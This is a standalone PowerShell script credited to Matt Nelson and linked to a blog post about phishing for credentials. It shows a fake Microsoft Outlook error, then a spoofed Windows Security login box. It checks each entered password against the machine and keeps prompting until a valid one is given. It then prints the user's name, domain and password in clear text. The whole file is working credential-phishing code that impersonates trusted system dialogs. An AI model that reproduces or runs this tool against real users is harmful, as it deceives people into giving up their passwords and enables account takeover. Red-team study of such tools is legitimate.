Invoke-LoginPrompt.ps1

<#
.SYNOPSIS
Standalone Powershell script that will promp the current user for a valid credentials.

Author: Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.DESCRIPTION
This script will pop a Windows Authentication box and ask the user for credentials. It will then validate those credentials and continue to ask until proper credentials are supplied.

.LINK
http://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/
#>

function Invoke-LoginPrompt{

    [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
    [void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
    [System.Windows.Forms.MessageBox]::Show("Outlook cannot log on.  Verify you are connected to the network and are using the proper server and mailbox name. The Microsoft Exchange information service in your profile is missing required information. Modify your profile to ensure that you are using the correct Microsoft Exchange information service.","Microsoft Outlook",[System.Windows.Forms.MessageBoxButtons]::OK,[System.Windows.Forms.MessageBoxIcon]::Warning)

    $cred = $Host.ui.PromptForCredential("Windows Security", "Please enter user credentials", "$env:userdomain\$env:username","")
    $username = "$env:username"
    $domain = "$env:userdomain"
    $full = "$domain" + "\" + "$username"
    $password = $cred.GetNetworkCredential().password
    Add-Type -assemblyname System.DirectoryServices.AccountManagement
    $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
    while($DS.ValidateCredentials("$full", "$password") -ne $True){
        $cred = $Host.ui.PromptForCredential("Windows Security", "Invalid Credentials, Please try again", "$env:userdomain\$env:username","")
        $username = "$env:username"
        $domain = "$env:userdomain"
        $full = "$domain" + "\" + "$username"
        $password = $cred.GetNetworkCredential().password
        Add-Type -assemblyname System.DirectoryServices.AccountManagement
        $DS = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
        $DS.ValidateCredentials("$full", "$password") | out-null
        }
     
     $output = $cred.GetNetworkCredential() | select-object UserName, Domain, Password
     $output
}